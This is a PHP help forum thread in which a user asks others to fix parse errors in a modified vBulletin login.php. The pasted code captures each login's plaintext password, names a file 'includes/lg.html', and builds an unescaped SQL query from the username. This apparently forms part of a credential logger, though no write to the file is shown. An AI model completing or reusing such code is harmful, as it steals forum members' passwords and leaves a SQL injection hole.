timebandit Posted January 29, 2009 Share Posted January 29, 2009 hi guys, i appear to be having a problem, my code says Parse error: syntax error, unexpected T_VARIABLE in /home/path/public_html/forums/login.php on line 132 i belive this one of the two is line 132 $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; Quote Link to comment Share on other sites More sharing options...
gevans Posted January 29, 2009 Share Posted January 29, 2009 Can you show roughly the ten lines above and bellow the problem? Quote Link to comment Share on other sites More sharing options...
timebandit Posted January 29, 2009 Author Share Posted January 29, 2009 // create new session process_new_login $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) { Quote Link to comment Share on other sites More sharing options...
gevans Posted January 29, 2009 Share Posted January 29, 2009 // create new session // process_new_login -> THIS LINE WASN'T COMMENTED $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) { Quote Link to comment Share on other sites More sharing options...
timebandit Posted January 29, 2009 Author Share Posted January 29, 2009 hi thanks for the reply but i have a new error now: Parse error: syntax error, unexpected ',' in /home/path/public_html/forums/login.php on line 141 if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']); Quote Link to comment Share on other sites More sharing options...
gevans Posted January 29, 2009 Share Posted January 29, 2009 Can you give me again the ten lines above and bellow the problem Quote Link to comment Share on other sites More sharing options...
ialsoagree Posted January 29, 2009 Share Posted January 29, 2009 The problem is with some action after your if statement, specifically that there is none: if ( strlen( $lg_password ) > 1 AND strlen( $lg_username ) > 1 ) // THE FOLLOWING CODE IS NO LONGER PART OF THE IF STATMENET ($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']); I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','. Quote Link to comment Share on other sites More sharing options...
timebandit Posted January 29, 2009 Author Share Posted January 29, 2009 Can you give me again the ten lines above and bellow the problem // create new session // process_new_login -> THIS LINE WASN'T COMMENTED $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']); // do redirect do_login_redirect(); } else if ($_GET['do'] == 'login') { // add consistency with previous behavior exec_header_redirect($vbulletin->options['forumhome'] . '.php'); } Quote Link to comment Share on other sites More sharing options...
timebandit Posted January 29, 2009 Author Share Posted January 29, 2009 The problem is with some action after your if statement, specifically that there is none: I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','. The problem i am faced with if i do that is: Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315 line 315 is only ?> hmm... Quote Link to comment Share on other sites More sharing options...
ialsoagree Posted January 30, 2009 Share Posted January 30, 2009 The problem i am faced with if i do that is: Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315 line 315 is only ?> hmm... You'll get an unexpected $end error message when a bracket or parenthesis is still open. If you have an editor like jEdit you can simply type } or ) and it will show you where the open bracket is. It could also be from the line before missing a semi-colon but I suspect it is the former and not the latter. If you'd like some help finding where your error is I'm afraid you're going to have to post the entire file's code, there's no way of telling where the open bracket is otherwise. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.